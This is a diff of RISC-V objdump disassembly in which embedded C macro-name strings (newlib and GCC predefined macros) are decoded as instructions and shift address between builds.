+     d5c:	3030                	fld	fa2,96(s0)
+     d5e:	3030                	fld	fa2,96(s0)
+     d60:	3130                	fld	fa2,96(a0)
+     d62:	3030                	fld	fa2,96(s0)
+     d64:	5f00                	lw	s0,56(a4)
+     d66:	465f 544c 3233      	0x3233544c465f
+     d6c:	485f 5341 495f      	0x495f5341485f
+     d72:	464e                	lw	a2,208(sp)
+     d74:	4e49                	li	t3,18
+     d76:	5449                	li	s0,-14
+     d78:	5f59                	li	t5,-10
+     d7a:	205f 0031 495f      	0x495f0031205f
+     d80:	4c46                	lw	s8,80(sp)
+     d82:	4b4e                	lw	s6,208(sp)
+     d84:	3020                	fld	fs0,96(s0)
+     d86:	3231                	jal	692 <__stack_size-0x16e>
+     d88:	3030                	fld	fa2,96(s0)
+     d8a:	3030                	fld	fa2,96(s0)
+     d8c:	5f00                	lw	s0,56(a4)
+     d8e:	545f4353          	0x545f4353
+     d92:	4d49                	li	s10,18
+     d94:	5245                	li	tp,-15
+     d96:	33332053          	0x33332053
+     d9a:	5f00                	lw	s0,56(a4)
+     d9c:	4552                	lw	a0,20(sp)
+     d9e:	4e45                	li	t3,17
+     da0:	5f54                	lw	a3,60(a4)
+     da2:	52534357          	0x52534357
+     da6:	4f54                	lw	a3,28(a4)
+     da8:	424d                	li	tp,19
+     daa:	54535f53          	0x54535f53
+     dae:	5441                	li	s0,-16
+     db0:	2845                	jal	e60 <__stack_size+0x660>
+     db2:	7470                	flw	fa2,108(s0)
+     db4:	2972                	fld	fs2,280(sp)
+     db6:	2820                	fld	fs0,80(s0)
+     db8:	7028                	flw	fa0,96(s0)
+     dba:	7274                	flw	fa3,100(a2)
+     dbc:	2d29                	jal	13d6 <__stack_size+0xbd6>
+     dbe:	5f3e                	lw	t5,236(sp)
+     dc0:	656e                	flw	fa0,216(sp)
+     dc2:	725f2e77          	0x725f2e77
+     dc6:	6565                	lui	a0,0x19
+     dc8:	746e                	flw	fs0,248(sp)
+     dca:	5f2e                	lw	t5,232(sp)
+     dcc:	72736377          	0x72736377
+     dd0:	6f74                	flw	fa3,92(a4)
+     dd2:	626d                	lui	tp,0x1b
+     dd4:	74735f73          	csrrwi	t5,0x747,6
+     dd8:	7461                	lui	s0,0xffff8
+     dda:	2965                	jal	1292 <__stack_size+0xa92>
+     ddc:	5400                	lw	s0,40(s0)
+     dde:	504d                	c.li	zero,-13
+     de0:	4d5f 5841 3220      	0x322058414d5f
+     de6:	0036                	c.slli	zero,0xd
+     de8:	495f 5346 434f      	0x434f5346495f
+     dee:	3130204b          	fnmsub.s	ft0,ft0,fs3,ft6,rdn
+     df2:	3034                	fld	fa3,96(s0)
+     df4:	3030                	fld	fa2,96(s0)
+     df6:	0030                	addi	a2,sp,8
+     df8:	5f5f 6166 7473      	0x747361665f5f
+     dfe:	6c6c6163          	bltu	s8,t1,14c0 <__stack_size+0xcc0>
+     e02:	5f20                	lw	s0,120(a4)
+     e04:	615f 7474 6972      	0x69727474615f
+     e0a:	7562                	flw	fa0,56(sp)
+     e0c:	6574                	flw	fa3,76(a0)
+     e0e:	5f5f 2828 5f5f      	0x5f5f28285f5f
+     e14:	6166                	flw	ft2,88(sp)
+     e16:	61637473          	csrrci	s0,0x616,6
+     e1a:	6c6c                	flw	fa1,92(s0)
+     e1c:	5f5f 2929 5f00      	0x5f0029295f5f
+     e22:	4e5f4353          	0x4e5f4353
+     e26:	554f5247          	0x554f5247
+     e2a:	5350                	lw	a2,36(a4)
+     e2c:	4d5f 5841 3320      	0x332058414d5f
+     e32:	5300                	lw	s0,32(a4)
+     e34:	495f 4f57 4854      	0x48544f57495f
+     e3a:	3020                	fld	fs0,96(s0)
+     e3c:	3030                	fld	fa2,96(s0)
+     e3e:	3030                	fld	fa2,96(s0)
+     e40:	3230                	fld	fa2,96(a2)
+     e42:	5f00                	lw	s0,56(a4)
+     e44:	465f 544c 3231      	0x3231544c465f
+     e4a:	5f38                	lw	a4,120(a4)
+     e4c:	494d                	li	s2,19
+     e4e:	5f4e                	lw	t5,240(sp)
+     e50:	205f 2e33 3633      	0x36332e33205f
+     e56:	3132                	fld	ft2,296(sp)
+     e58:	3330                	fld	fa2,96(a4)
+     e5a:	3431                	jal	866 <__stack_size+0x66>
+     e5c:	32313133          	0x32313133
+     e60:	3930                	fld	fa2,112(a0)
+     e62:	36303533          	0x36303533
+     e66:	3632                	fld	fa2,296(sp)
+     e68:	3632                	fld	fa2,296(sp)
+     e6a:	31383737          	lui	a4,0x31383
+     e6e:	31323337          	lui	t1,0x31323
+     e72:	36323537          	lui	a0,0x36323
+     e76:	6530                	flw	fa2,72(a0)
+     e78:	342d                	jal	8a2 <__stack_size+0xa2>
+     e7a:	3339                	jal	b88 <__stack_size+0x388>
+     e7c:	4632                	lw	a2,12(sp)
+     e7e:	3231                	jal	78a <__stack_size-0x76>
+     e80:	0038                	addi	a4,sp,8
+     e82:	4446                	lw	s0,80(sp)
+     e84:	495f 5353 5445      	0x54455353495f
+     e8a:	6e28                	flw	fa0,88(a2)
+     e8c:	702c                	flw	fa1,96(s0)
+     e8e:	2029                	jal	e98 <__stack_size+0x698>
+     e90:	2828                	fld	fa0,80(s0)
+     e92:	2970                	fld	fa2,208(a0)
+     e94:	3e2d                	jal	9ce <__stack_size+0x1ce>
+     e96:	6466                	flw	fs0,88(sp)
+     e98:	69625f73          	csrrwi	t5,0x696,4
+     e9c:	7374                	flw	fa3,100(a4)
+     e9e:	296e285b          	0x296e285b
+     ea2:	44464e2f          	0x44464e2f
+     ea6:	4942                	lw	s2,16(sp)
+     ea8:	5354                	lw	a3,36(a4)
+     eaa:	205d                	jal	f50 <__stack_size+0x750>
+     eac:	2026                	fld	ft0,72(sp)
+     eae:	3128                	fld	fa0,96(a0)
+     eb0:	204c                	fld	fa1,128(s0)
+     eb2:	3c3c                	fld	fa5,120(s0)
+     eb4:	2820                	fld	fs0,80(s0)
+     eb6:	6e28                	flw	fa0,88(a2)
+     eb8:	2029                	jal	ec2 <__stack_size+0x6c2>
+     eba:	2025                	jal	ee2 <__stack_size+0x6e2>
+     ebc:	464e                	lw	a2,208(sp)
+     ebe:	4244                	lw	s1,4(a2)
+     ec0:	5449                	li	s0,-14
+     ec2:	29292953          	0x29292953
+     ec6:	5f00                	lw	s0,56(a4)
+     ec8:	4f4e                	lw	t5,208(sp)
+     eca:	4e49                	li	t3,18
+     ecc:	494c                	lw	a1,20(a0)
+     ece:	454e                	lw	a0,208(sp)
+     ed0:	5f20                	lw	s0,120(a4)
+     ed2:	615f 7474 6972      	0x69727474615f
+     ed8:	7562                	flw	fa0,56(sp)
+     eda:	6574                	flw	fa3,76(a0)
+     edc:	5f5f 2820 5f28      	0x5f2828205f5f
+     ee2:	6e5f 696f 6c6e      	0x6c6e696f6e5f
+     ee8:	6e69                	lui	t3,0x1a
+     eea:	5f65                	li	t5,-7
+     eec:	295f 0029 5f5f      	0x5f5f0029295f
+     ef2:	4e49                	li	t3,18
+     ef4:	5f54                	lw	a3,60(a4)
+     ef6:	4146                	lw	sp,80(sp)
+     ef8:	34365453          	0x34365453
+     efc:	4d5f 5841 5f5f      	0x5f5f58414d5f
+     f02:	3020                	fld	fs0,96(s0)
+     f04:	3778                	fld	fa4,232(a4)
+     f06:	6666                	flw	fa2,88(sp)
+     f08:	6666                	flw	fa2,88(sp)
+     f0a:	6666                	flw	fa2,88(sp)
+     f0c:	6666                	flw	fa2,88(sp)
+     f0e:	6666                	flw	fa2,88(sp)
+     f10:	6666                	flw	fa2,88(sp)
+     f12:	6666                	flw	fa2,88(sp)
+     f14:	4c66                	lw	s8,88(sp)
+     f16:	004c                	addi	a1,sp,4
+     f18:	4e49                	li	t3,18
+     f1a:	5054                	lw	a3,36(s0)
+     f1c:	5254                	lw	a3,36(a2)
+     f1e:	4d5f 4e49 2820      	0x28204e494d5f
+     f24:	492d                	li	s2,11
+     f26:	544e                	lw	s0,240(sp)
+     f28:	5450                	lw	a2,44(s0)
+     f2a:	5f52                	lw	t5,52(sp)
+     f2c:	414d                	li	sp,19
+     f2e:	2058                	fld	fa4,128(s0)
+     f30:	202d                	jal	f5a <__stack_size+0x75a>
+     f32:	2931                	jal	134e <__stack_size+0xb4e>
+     f34:	4600                	lw	s0,8(a2)
+     f36:	444e                	lw	s0,208(sp)
+     f38:	4c45                	li	s8,17
+     f3a:	5941                	li	s2,-16
+     f3c:	5f20                	lw	s0,120(a4)
+     f3e:	4e46                	lw	t3,80(sp)
+     f40:	4544                	lw	s1,12(a0)
+     f42:	414c                	lw	a1,4(a0)
+     f44:	0059                	c.nop	22
+     f46:	5f5f 4955 544e      	0x544e49555f5f
+     f4c:	465f 5341 3154      	0x31545341465f
+     f52:	5f36                	lw	t5,108(sp)
+     f54:	5954                	lw	a3,52(a0)
+     f56:	4550                	lw	a2,12(a0)
+     f58:	5f5f 7520 736e      	0x736e75205f5f
+     f5e:	6769                	lui	a4,0x1a
+     f60:	656e                	flw	fa0,216(sp)
+     f62:	2064                	fld	fs1,192(s0)
+     f64:	6e69                	lui	t3,0x1a
+     f66:	0074                	addi	a3,sp,12
+     f68:	5f5f 4c46 3154      	0x31544c465f5f
+     f6e:	3832                	fld	fa6,296(sp)
+     f70:	4d5f 4e41 5f54      	0x5f544e414d5f
+     f76:	4944                	lw	s1,20(a0)
+     f78:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+     f7c:	3131                	jal	b88 <__stack_size+0x388>
+     f7e:	575f0033          	0x575f0033
+     f82:	4e41                	li	t3,16
+     f84:	5f54                	lw	a3,60(a4)
+     f86:	4f49                	li	t5,18
+     f88:	435f 3939 465f      	0x465f3939435f
+     f8e:	414d524f          	fnmadd.s	ft4,fs10,fs4,fs0,unknown
+     f92:	5354                	lw	a3,36(a4)
+     f94:	3120                	fld	fs0,96(a0)
+     f96:	5f00                	lw	s0,56(a4)
+     f98:	555f 4e49 3654      	0x36544e49555f
+     f9e:	5f34                	lw	a3,120(a4)
+     fa0:	414d                	li	sp,19
+     fa2:	5f58                	lw	a4,60(a4)
+     fa4:	205f 7830 6666      	0x66667830205f
+     faa:	6666                	flw	fa2,88(sp)
+     fac:	6666                	flw	fa2,88(sp)
+     fae:	6666                	flw	fa2,88(sp)
+     fb0:	6666                	flw	fa2,88(sp)
+     fb2:	6666                	flw	fa2,88(sp)
+     fb4:	6666                	flw	fa2,88(sp)
+     fb6:	6666                	flw	fa2,88(sp)
+     fb8:	4c55                	li	s8,21
+     fba:	004c                	addi	a1,sp,4
+     fbc:	5750                	lw	a2,44(a4)
+     fbe:	5f4d                	li	t5,-13
+     fc0:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
+     fc4:	4c414353          	0x4c414353
+     fc8:	2045                	jal	1068 <__stack_size+0x868>
+     fca:	7830                	flw	fa2,112(s0)
+     fcc:	3030                	fld	fa2,96(s0)
+     fce:	3030                	fld	fa2,96(s0)
+     fd0:	3030                	fld	fa2,96(s0)
+     fd2:	4630                	lw	a2,72(a2)
+     fd4:	5000                	lw	s0,32(s0)
+     fd6:	4854                	lw	a3,20(s0)
+     fd8:	4552                	lw	a0,20(sp)
+     fda:	4441                	li	s0,16
+     fdc:	495f 484e 5245      	0x5245484e495f
+     fe2:	5449                	li	s0,-14
+     fe4:	535f 4843 4445      	0x44454843535f
+     fea:	3120                	fld	fs0,96(a0)
+     fec:	5f00                	lw	s0,56(a4)
+     fee:	4552                	lw	a0,20(sp)
+     ff0:	28323347          	fmsub.s	ft6,ft4,ft3,ft5,rup
+     ff4:	6162                	flw	ft2,24(sp)
+     ff6:	6f2c6573          	csrrsi	a0,0x6f2,24
      ffa:	6666                	flw	fa2,88(sp)
-     ffc:	6666                	flw	fa2,88(sp)
-     ffe:	6666                	flw	fa2,88(sp)
-    1000:	6666                	flw	fa2,88(sp)
-    1002:	5566                	lw	a0,120(sp)
-    1004:	4c4c                	lw	a1,28(s0)
-    1006:	5000                	lw	s0,32(s0)
-    1008:	435f4d57          	0x435f4d57
-    100c:	4746                	lw	a4,80(sp)
-    100e:	535f 4143 454c      	0x454c4143535f
-    1014:	3020                	fld	fs0,96(s0)
-    1016:	3078                	fld	fa4,224(s0)
-    1018:	3030                	fld	fa2,96(s0)
-    101a:	3030                	fld	fa2,96(s0)
-    101c:	3030                	fld	fa2,96(s0)
-    101e:	0046                	c.slli	zero,0x11
-    1020:	5450                	lw	a2,44(s0)
-    1022:	5248                	lw	a0,36(a2)
-    1024:	4145                	li	sp,17
-    1026:	5f44                	lw	s1,60(a4)
-    1028:	4e49                	li	t3,18
-    102a:	4548                	lw	a0,12(a0)
-    102c:	4952                	lw	s2,20(sp)
-    102e:	5f54                	lw	a3,60(a4)
-    1030:	45484353          	0x45484353
-    1034:	2044                	fld	fs1,128(s0)
-    1036:	0031                	c.nop	12
-    1038:	525f 4745 3233      	0x32334745525f
-    103e:	6228                	flw	fa0,64(a2)
-    1040:	7361                	lui	t1,0xffff8
-    1042:	2c65                	jal	12fa <__stack_size+0xafa>
-    1044:	7366666f          	jal	a2,6777a <__stack_size+0x66f7a>
-    1048:	7465                	lui	s0,0xffff9
-    104a:	2029                	jal	1054 <__stack_size+0x854>
-    104c:	2a28                	fld	fa0,80(a2)
-    104e:	7628                	flw	fa0,104(a2)
-    1050:	74616c6f          	jal	s8,17796 <__stack_size+0x16f96>
-    1054:	6c69                	lui	s8,0x1a
-    1056:	2065                	jal	10fe <__stack_size+0x8fe>
-    1058:	6975                	lui	s2,0x1d
-    105a:	746e                	flw	fs0,248(sp)
-    105c:	745f3233          	0x745f3233
-    1060:	2a20                	fld	fs0,80(a2)
-    1062:	2829                	jal	107c <__stack_size+0x87c>
-    1064:	6228                	flw	fa0,64(a2)
-    1066:	7361                	lui	t1,0xffff8
-    1068:	2965                	jal	1520 <__stack_size+0xd20>
-    106a:	2b20                	fld	fs0,80(a4)
-    106c:	2820                	fld	fs0,80(s0)
-    106e:	7366666f          	jal	a2,677a4 <__stack_size+0x66fa4>
-    1072:	7465                	lui	s0,0xffff9
-    1074:	2929                	jal	148e <__stack_size+0xc8e>
-    1076:	0029                	c.nop	10
-    1078:	535f 5f43 3656      	0x36565f43535f
-    107e:	495f 504c 3233      	0x3233504c495f
-    1084:	4f5f 4646 4942      	0x494246464f5f
-    108a:	535f2047          	fmsub.d	ft0,ft10,fs5,fa0,rdn
-    108e:	37565f43          	fmadd.q	ft10,fa2,fs5,ft6,unknown
-    1092:	495f 504c 3233      	0x3233504c495f
-    1098:	4f5f 4646 4942      	0x494246464f5f
-    109e:	54410047          	0x54410047
-    10a2:	525f 4d45 564f      	0x564f4d45525f
-    10a8:	4445                	li	s0,17
-    10aa:	5249                	li	tp,-14
-    10ac:	3820                	fld	fs0,112(s0)
-    10ae:	5f00                	lw	s0,56(a4)
-    10b0:	465f 544c 3233      	0x3233544c465f
-    10b6:	5f58                	lw	a4,60(a4)
-    10b8:	414d                	li	sp,19
-    10ba:	5f58                	lw	a4,60(a4)
-    10bc:	3031                	jal	8c8 <__stack_size+0xc8>
-    10be:	455f 5058 5f5f      	0x5f5f5058455f
-    10c4:	3320                	fld	fs0,96(a4)
-    10c6:	3830                	fld	fa2,112(s0)
-    10c8:	5f00                	lw	s0,56(a4)
-    10ca:	4d5f4353          	0x4d5f4353
-    10ce:	5f51                	li	t5,-12
-    10d0:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
-    10d4:	4d5f 5841 3120      	0x312058414d5f
-    10da:	5f5f0033          	0x5f5f0033
-    10de:	7375                	lui	t1,0xffffd
-    10e0:	6465                	lui	s0,0x19
-    10e2:	5f20                	lw	s0,120(a4)
-    10e4:	615f 7474 6972      	0x69727474615f
-    10ea:	7562                	flw	fa0,56(sp)
-    10ec:	6574                	flw	fa3,76(a0)
-    10ee:	5f5f 2828 5f5f      	0x5f5f28285f5f
-    10f4:	7375                	lui	t1,0xffffd
-    10f6:	6465                	lui	s0,0x19
-    10f8:	5f5f 2929 4300      	0x430029295f5f
-    10fe:	4d5f5253          	0x4d5f5253
-    1102:	4148                	lw	a0,4(a0)
-    1104:	5452                	lw	s0,52(sp)
-    1106:	4449                	li	s0,18
-    1108:	3120                	fld	fs0,96(a0)
-    110a:	0032                	c.slli	zero,0xc
-    110c:	6164                	flw	fs1,68(a0)
-    110e:	6174                	flw	fa3,68(a0)
-    1110:	5f00                	lw	s0,56(a4)
-    1112:	535f 4749 415f      	0x415f4749535f
-    1118:	4f54                	lw	a3,28(a4)
-    111a:	494d                	li	s2,19
-    111c:	59545f43          	fmadd.s	ft10,fs0,fs5,fa1,unknown
-    1120:	4550                	lw	a2,12(a0)
-    1122:	5f5f 6920 746e      	0x746e69205f5f
-    1128:	5000                	lw	s0,32(s0)
-    112a:	4854                	lw	a3,20(s0)
-    112c:	4552                	lw	a0,20(sp)
-    112e:	4441                	li	s0,16
-    1130:	535f 4f43 4550      	0x45504f43535f
-    1136:	505f 4f52 4543      	0x45434f52505f
-    113c:	30205353          	0x30205353
-    1140:	5f00                	lw	s0,56(a4)
-    1142:	5342                	lw	t1,48(sp)
-    1144:	5f44                	lw	s1,60(a4)
-    1146:	455a4953          	0x455a4953
-    114a:	545f 445f 4645      	0x4645445f545f
-    1150:	4e49                	li	t3,18
-    1152:	4445                	li	s0,17
-    1154:	205f 5f00 425f      	0x425f5f00205f
-    115a:	4749                	li	a4,18
-    115c:	54534547          	0x54534547
-    1160:	415f 494c 4e47      	0x4e47494c415f
-    1166:	454d                	li	a0,19
-    1168:	544e                	lw	s0,240(sp)
-    116a:	5f5f 3120 0036      	0x3631205f5f
-    1170:	5f5f 4e49 3354      	0x33544e495f5f
-    1176:	5f32                	lw	t5,44(sp)
-    1178:	414d                	li	sp,19
-    117a:	5f58                	lw	a4,60(a4)
-    117c:	205f 7830 6637      	0x66377830205f
-    1182:	6666                	flw	fa2,88(sp)
-    1184:	6666                	flw	fa2,88(sp)
-    1186:	6666                	flw	fa2,88(sp)
-    1188:	004c                	addi	a1,sp,4
-    118a:	535f 5f43 4f50      	0x4f505f43535f
-    1190:	5f584953          	0x5f584953
-    1194:	3632                	fld	fa2,296(sp)
-    1196:	565f 5245 4953      	0x49535245565f
-    119c:	31204e4f          	fnmadd.s	ft8,ft0,fs2,ft6,rmm
-    11a0:	3034                	fld	fa3,96(s0)
-    11a2:	5f00                	lw	s0,56(a4)
-    11a4:	535f4353          	0x535f4353
-    11a8:	4950                	lw	a2,20(a0)
-    11aa:	5f4e                	lw	t5,240(sp)
-    11ac:	4f4c                	lw	a1,28(a4)
-    11ae:	20534b43          	fmadd.s	fs6,ft6,ft5,ft4,rmm
-    11b2:	5f003637          	lui	a2,0x5f003
-    11b6:	5346                	lw	t1,112(sp)
-    11b8:	4c48                	lw	a0,28(s0)
-    11ba:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
-    11be:	7830                	flw	fa2,112(s0)
-    11c0:	3030                	fld	fa2,96(s0)
-    11c2:	3038                	fld	fa4,96(s0)
+     ffc:	29746573          	csrrsi	a0,0x297,8
+    1000:	2820                	fld	fs0,80(s0)
+    1002:	282a                	fld	fa6,136(sp)
+    1004:	6f76                	flw	ft10,92(sp)
+    1006:	616c                	flw	fa1,68(a0)
+    1008:	6974                	flw	fa3,84(a0)
+    100a:	656c                	flw	fa1,76(a0)
+    100c:	7520                	flw	fs0,104(a0)
+    100e:	6e69                	lui	t3,0x1a
+    1010:	3374                	fld	fa3,224(a4)
+    1012:	5f32                	lw	t5,44(sp)
+    1014:	2074                	fld	fa3,192(s0)
+    1016:	292a                	fld	fs2,136(sp)
+    1018:	2828                	fld	fa0,80(s0)
+    101a:	6162                	flw	ft2,24(sp)
+    101c:	20296573          	csrrsi	a0,hedeleg,18
+    1020:	6f28202b          	0x6f28202b
+    1024:	6666                	flw	fa2,88(sp)
+    1026:	29746573          	csrrsi	a0,0x297,8
+    102a:	2929                	jal	1444 <__stack_size+0xc44>
+    102c:	5f00                	lw	s0,56(a4)
+    102e:	565f4353          	0x565f4353
+    1032:	5f36                	lw	t5,108(sp)
+    1034:	4c49                	li	s8,18
+    1036:	3350                	fld	fa2,160(a4)
+    1038:	5f32                	lw	t5,44(sp)
+    103a:	4246464f          	fnmadd.d	fa2,fa2,ft4,fs0,rmm
+    103e:	4749                	li	a4,18
+    1040:	5f20                	lw	s0,120(a4)
+    1042:	565f4353          	0x565f4353
+    1046:	4c495f37          	lui	t5,0x4c495
+    104a:	3350                	fld	fa2,160(a4)
+    104c:	5f32                	lw	t5,44(sp)
+    104e:	4246464f          	fnmadd.d	fa2,fa2,ft4,fs0,rmm
+    1052:	4749                	li	a4,18
+    1054:	4100                	lw	s0,0(a0)
+    1056:	5f54                	lw	a3,60(a4)
+    1058:	4552                	lw	a0,20(sp)
+    105a:	4f4d                	li	t5,19
+    105c:	4556                	lw	a0,84(sp)
+    105e:	4944                	lw	s1,20(a0)
+    1060:	2052                	fld	ft0,272(sp)
+    1062:	0038                	addi	a4,sp,8
+    1064:	5f5f 4c46 3354      	0x33544c465f5f
+    106a:	5832                	lw	a6,44(sp)
+    106c:	4d5f 5841 315f      	0x315f58414d5f
+    1072:	5f30                	lw	a2,120(a4)
+    1074:	5845                	li	a6,-15
+    1076:	5f50                	lw	a2,60(a4)
+    1078:	205f 3033 0038      	0x383033205f
+    107e:	535f 5f43 514d      	0x514d5f43535f
+    1084:	4f5f 4550 5f4e      	0x5f4e45504f5f
+    108a:	414d                	li	sp,19
+    108c:	2058                	fld	fa4,128(s0)
+    108e:	3331                	jal	d9a <__stack_size+0x59a>
+    1090:	4300                	lw	s0,0(a4)
+    1092:	4d5f5253          	0x4d5f5253
+    1096:	4148                	lw	a0,4(a0)
+    1098:	5452                	lw	s0,52(sp)
+    109a:	4449                	li	s0,18
+    109c:	3120                	fld	fs0,96(a0)
+    109e:	0032                	c.slli	zero,0xc
+    10a0:	6164                	flw	fs1,68(a0)
+    10a2:	6174                	flw	fa3,68(a0)
+    10a4:	5f00                	lw	s0,56(a4)
+    10a6:	535f 4749 415f      	0x415f4749535f
+    10ac:	4f54                	lw	a3,28(a4)
+    10ae:	494d                	li	s2,19
+    10b0:	59545f43          	fmadd.s	ft10,fs0,fs5,fa1,unknown
+    10b4:	4550                	lw	a2,12(a0)
+    10b6:	5f5f 6920 746e      	0x746e69205f5f
+    10bc:	5000                	lw	s0,32(s0)
+    10be:	4854                	lw	a3,20(s0)
+    10c0:	4552                	lw	a0,20(sp)
+    10c2:	4441                	li	s0,16
+    10c4:	535f 4f43 4550      	0x45504f43535f
+    10ca:	505f 4f52 4543      	0x45434f52505f
+    10d0:	30205353          	0x30205353
+    10d4:	5f00                	lw	s0,56(a4)
+    10d6:	5342                	lw	t1,48(sp)
+    10d8:	5f44                	lw	s1,60(a4)
+    10da:	455a4953          	0x455a4953
+    10de:	545f 445f 4645      	0x4645445f545f
+    10e4:	4e49                	li	t3,18
+    10e6:	4445                	li	s0,17
+    10e8:	205f 5f00 425f      	0x425f5f00205f
+    10ee:	4749                	li	a4,18
+    10f0:	54534547          	0x54534547
+    10f4:	415f 494c 4e47      	0x4e47494c415f
+    10fa:	454d                	li	a0,19
+    10fc:	544e                	lw	s0,240(sp)
+    10fe:	5f5f 3120 0036      	0x3631205f5f
+    1104:	5f5f 4e49 3354      	0x33544e495f5f
+    110a:	5f32                	lw	t5,44(sp)
+    110c:	414d                	li	sp,19
+    110e:	5f58                	lw	a4,60(a4)
+    1110:	205f 7830 6637      	0x66377830205f
+    1116:	6666                	flw	fa2,88(sp)
+    1118:	6666                	flw	fa2,88(sp)
+    111a:	6666                	flw	fa2,88(sp)
+    111c:	004c                	addi	a1,sp,4
+    111e:	535f 5f43 4f50      	0x4f505f43535f
+    1124:	5f584953          	0x5f584953
+    1128:	3632                	fld	fa2,296(sp)
+    112a:	565f 5245 4953      	0x49535245565f
+    1130:	31204e4f          	fnmadd.s	ft8,ft0,fs2,ft6,rmm
+    1134:	3034                	fld	fa3,96(s0)
+    1136:	5f00                	lw	s0,56(a4)
+    1138:	535f4353          	0x535f4353
+    113c:	4950                	lw	a2,20(a0)
+    113e:	5f4e                	lw	t5,240(sp)
+    1140:	4f4c                	lw	a1,28(a4)
+    1142:	20534b43          	fmadd.s	fs6,ft6,ft5,ft4,rmm
+    1146:	5f003637          	lui	a2,0x5f003
+    114a:	5346                	lw	t1,112(sp)
+    114c:	4c48                	lw	a0,28(s0)
+    114e:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
+    1152:	7830                	flw	fa2,112(s0)
+    1154:	3030                	fld	fa2,96(s0)
+    1156:	3038                	fld	fa4,96(s0)
+    1158:	5f00                	lw	s0,56(a4)
+    115a:	4e49                	li	t3,18
+    115c:	5f545f4f          	fnmadd.q	ft10,fs0,fs5,fa1,unknown
+    1160:	4544                	lw	s1,12(a0)
+    1162:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    1166:	4445                	li	s0,17
+    1168:	0020                	addi	s0,sp,8
+    116a:	4c50                	lw	a2,28(s0)
+    116c:	4349                	li	t1,18
+    116e:	435f 414c 4d49      	0x4d49414c435f
+    1174:	4f5f 4646 4553      	0x455346464f5f
+    117a:	2054                	fld	fa3,128(s0)
+    117c:	7830                	flw	fa2,112(s0)
+    117e:	3032                	fld	ft0,296(sp)
+    1180:	3030                	fld	fa2,96(s0)
+    1182:	3430                	fld	fa2,104(s0)
+    1184:	5f00                	lw	s0,56(a4)
+    1186:	565f4353          	0x565f4353
+    118a:	5f36                	lw	t5,108(sp)
+    118c:	4c49                	li	s8,18
+    118e:	3350                	fld	fa2,160(a4)
+    1190:	5f32                	lw	t5,44(sp)
+    1192:	3346464f          	fnmadd.d	fa2,fa2,fs4,ft6,rmm
+    1196:	2032                	fld	ft0,264(sp)
+    1198:	535f 5f43 3756      	0x37565f43535f
+    119e:	495f 504c 3233      	0x3233504c495f
+    11a4:	4f5f 4646 3233      	0x323346464f5f
+    11aa:	5f00                	lw	s0,56(a4)
+    11ac:	555f 4e49 3154      	0x31544e49555f
+    11b2:	5f36                	lw	t5,108(sp)
+    11b4:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    11b8:	6320                	flw	fs0,64(a4)
+    11ba:	4600                	lw	s0,8(a2)
+    11bc:	535f 5445 4c46      	0x4c465445535f
+    11c2:	3420                	fld	fs0,104(s0)
     11c4:	5f00                	lw	s0,56(a4)
-    11c6:	4e49                	li	t3,18
-    11c8:	5f545f4f          	fnmadd.q	ft10,fs0,fs5,fa1,unknown
-    11cc:	4544                	lw	s1,12(a0)
-    11ce:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    11d2:	4445                	li	s0,17
-    11d4:	0020                	addi	s0,sp,8
-    11d6:	4c50                	lw	a2,28(s0)
-    11d8:	4349                	li	t1,18
-    11da:	435f 414c 4d49      	0x4d49414c435f
-    11e0:	4f5f 4646 4553      	0x455346464f5f
-    11e6:	2054                	fld	fa3,128(s0)
-    11e8:	7830                	flw	fa2,112(s0)
-    11ea:	3032                	fld	ft0,296(sp)
-    11ec:	3030                	fld	fa2,96(s0)
-    11ee:	3430                	fld	fa2,104(s0)
-    11f0:	5f00                	lw	s0,56(a4)
-    11f2:	565f4353          	0x565f4353
-    11f6:	5f36                	lw	t5,108(sp)
-    11f8:	4c49                	li	s8,18
-    11fa:	3350                	fld	fa2,160(a4)
-    11fc:	5f32                	lw	t5,44(sp)
-    11fe:	3346464f          	fnmadd.d	fa2,fa2,fs4,ft6,rmm
-    1202:	2032                	fld	ft0,264(sp)
-    1204:	535f 5f43 3756      	0x37565f43535f
-    120a:	495f 504c 3233      	0x3233504c495f
-    1210:	4f5f 4646 3233      	0x323346464f5f
-    1216:	5f00                	lw	s0,56(a4)
-    1218:	555f 4e49 3154      	0x31544e49555f
-    121e:	5f36                	lw	t5,108(sp)
-    1220:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    1224:	6320                	flw	fs0,64(a4)
-    1226:	4600                	lw	s0,8(a2)
-    1228:	535f 5445 4c46      	0x4c465445535f
-    122e:	3420                	fld	fs0,104(s0)
-    1230:	5f00                	lw	s0,56(a4)
-    1232:	495f 544e 4c5f      	0x4c5f544e495f
-    1238:	4145                	li	sp,17
-    123a:	34365453          	0x34365453
-    123e:	545f 5059 5f45      	0x5f455059545f
-    1244:	205f 6f6c 676e      	0x676e6f6c205f
-    124a:	6c20                	flw	fs0,88(s0)
-    124c:	20676e6f          	jal	t3,77452 <__stack_size+0x76c52>
-    1250:	6e69                	lui	t3,0x1a
-    1252:	0074                	addi	a3,sp,12
-    1254:	72727473          	csrrci	s0,0x727,4
-    1258:	00726863          	bltu	tp,t2,1268 <__stack_size+0xa68>
-    125c:	5441                	li	s0,-16
-    125e:	535f 4d59 494c      	0x494c4d59535f
-    1264:	4b4e                	lw	s6,208(sp)
-    1266:	4e5f 464f 4c4f      	0x4c4f464f4e5f
-    126c:	4f4c                	lw	a1,28(a4)
-    126e:	00322057          	0x322057
-    1272:	4955                	li	s2,21
-    1274:	544e                	lw	s0,240(sp)
-    1276:	3631                	jal	d82 <__stack_size+0x582>
-    1278:	435f 6328 2029      	0x20296328435f
-    127e:	5f5f 4955 544e      	0x544e49555f5f
-    1284:	3631                	jal	d90 <__stack_size+0x590>
-    1286:	435f 6328 0029      	0x296328435f
-    128c:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    1292:	615f 7163 6975      	0x69757163615f
-    1298:	6572                	flw	fa0,28(sp)
-    129a:	6c28                	flw	fa0,88(s0)
-    129c:	296b636f          	jal	t1,b7532 <__stack_size+0xb6d32>
-    12a0:	2820                	fld	fs0,80(s0)
-    12a2:	7628                	flw	fa0,104(a2)
